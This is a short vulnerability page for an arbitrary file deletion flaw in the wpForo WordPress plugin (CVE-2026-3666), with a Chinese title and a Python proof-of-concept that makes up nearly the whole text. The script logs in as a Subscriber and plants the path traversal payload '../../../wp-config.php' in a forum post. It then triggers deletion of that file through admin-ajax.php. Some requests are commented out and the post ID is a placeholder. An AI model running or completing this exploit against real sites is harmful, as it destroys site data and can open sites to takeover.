CVE-2026-3666: WordPress wpForo插件任意文件删除漏洞

# PoC for CVE-2026-3666 (Conceptual) # This script demonstrates the logic of the exploit. # Attacker needs Subscriber level credentials. import requests def exploit(target_url, username, password): session = requests.Session() # 1. Authenticate as a low-privileged user (Subscriber) login_data = {'log': username, 'pwd': password, 'wp-submit': 'Log In'} session.post(f"{target_url}/wp-login.php", data=login_data) # 2. Create a forum post containing the path traversal payload # The payload targets a sensitive file, e.g., wp-config.php traversal_payload = "../../../wp-config.php" post_data = { 'action': 'wpforo_create_post', 'body': traversal_payload # Additional forum parameters required... } # Send request to create post # create_response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=post_data) # post_id = create_response.json()['id'] # Assuming ID is returned # 3. Trigger the vulnerability by deleting the post # The plugin processes the deletion and uses the unvalidated body content delete_data = { 'action': 'wpforo_delete_post', 'postid': '[INSERT_POST_ID]' } # session.post(f"{target_url}/wp-admin/admin-ajax.php", data=delete_data) # print("File deletion attempt triggered.")